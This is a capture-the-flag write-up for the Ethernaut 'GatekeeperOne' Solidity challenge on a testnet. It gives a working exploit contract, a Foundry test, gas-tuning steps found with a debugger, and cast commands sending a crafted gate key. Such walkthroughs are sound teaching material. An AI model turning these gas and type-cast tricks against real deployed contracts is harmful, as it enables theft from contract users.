Make it past the gatekeeper and register as an entrant to pass this level.

The goal of the challenge is to successfully execute the function enter on this contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

We need to pass the three modifiers gateOne, gateTwo and gateThree. Generate a new instance of the challenge:

alt text

Passing gateOne

This check is easy. We will need to create a contract that will call the enter function on the challenge contract. We will call our contract and so, tx.origin != msg.sender.

Passing gateTwo

This is the trickiest check. When we make a transaction, we specify a maximum amount of gas that we are willing to spend. As the EVM executes the bytecode, gas is spent. The function gasleft() returns the difference between the gas limit and the already spent gas.

The sender of the transaction can control the gas limit, so we can modify it to pass the check. But first, we need to know the amount of gast spent up to that point. The way I found to do that is to debug the code. Let’s create this Exploit contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./GateKeeperOne.sol";

contract Exploit {
    function exploit(address _target, bytes8 _key) public {
        GatekeeperOne(_target).enter(_key);
    }
}

And we can create this test contract (using Froundry):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Exploit.sol";

contract ExploitTest is Test {
    Exploit public attacker;
    address eoa = address(0x123);

    function setUp() public {
        attacker = new Exploit();
    }

    function testExploit() external {
        vm.prank(eoa, eoa);
        attacker.exploit(address(0x7c75fa9B0344386b8caF6BAee8b939Bc74BACB86), "AAAAAAAA");
    }
}

We can use vm.prank in testing to change the address from which transactions are sent. We do this to pass the gateOne check in the testing environment. Then, we call the exploit function on the Exploit contract, passing AAAAAAAA as the key as this is irrelevant now.

We can debug this using this command:

forge test --match-test testExploit -vv --debug --fork-url $SEPOLIA_RPC_URL

and the debugger should show up:

alt text

We can go on until we reach the GAS opcode:

alt text

At this point, the opcode GAS has just been executed. We can see at the top of the screen the amount of gast spent. In this case, 256. And this will be the same in the actual contract, not in the debugging environment.

Now, we could send any amount of gas of the form 8191*k + 256 and we will pass this check! Let’s verify that we didn’t mess it up. We will modify the Exploit contract to send that amount of gas:

contract Exploit {
    function exploit(address _target, bytes8 _key) public {
        GatekeeperOne(_target).enter{gas: 8191 * 10 + 256}(_key);
    }
}

alt text

And call the exploit function using some test key:

cast send 0x573736948fcCe090f2d1163559ddBf0beeEdcC51 "exploit(address, bytes8)" 0x7c75fa9B0344386b8caF6BAee8b939Bc74BACB86 0x4141414141414141 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY -vvv

alt text

And we get the reverse message from gateThree!

Passing gateThree

Now we just need to figure out what to send as the key. This is the modifier:

modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

To pass the first part, we need to make the lowest 32-bit number in _gateKey equal the lowest 16-bit number in it, so we need something like:

0xXXXXXXXX0000XXXX

To pass the second part, we need the lowest 32-bit number in _gateKey to be different to the key itself, so the first 4 bytes must be non-null bytes. For instance, 0x41414141.

To pass the third part, we need the lowest 32-bit number in _gateKey to be equal to the lowest 16-bit number of tx.origin. In my case, tx.origin will be 0x12c5Da011f95E229Ba45f732e8f79608444D76b9, which is my public key. We can get the target value using python:

from Crypto.Util.number import long_to_bytes
long_to_bytes(0x12c5Da011f95E229Ba45f732e8f79608444D76b9)[-2:].hex()

alt text

All in all, we need to send:

0x41414141000076b9
cast send 0x573736948fcCe090f2d1163559ddBf0beeEdcC51 "exploit(address, bytes8)" 0x7c75fa9B0344386b8caF6BAee8b939Bc74BACB86 0x41414141000076b9 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY -vvv

alt text

alt text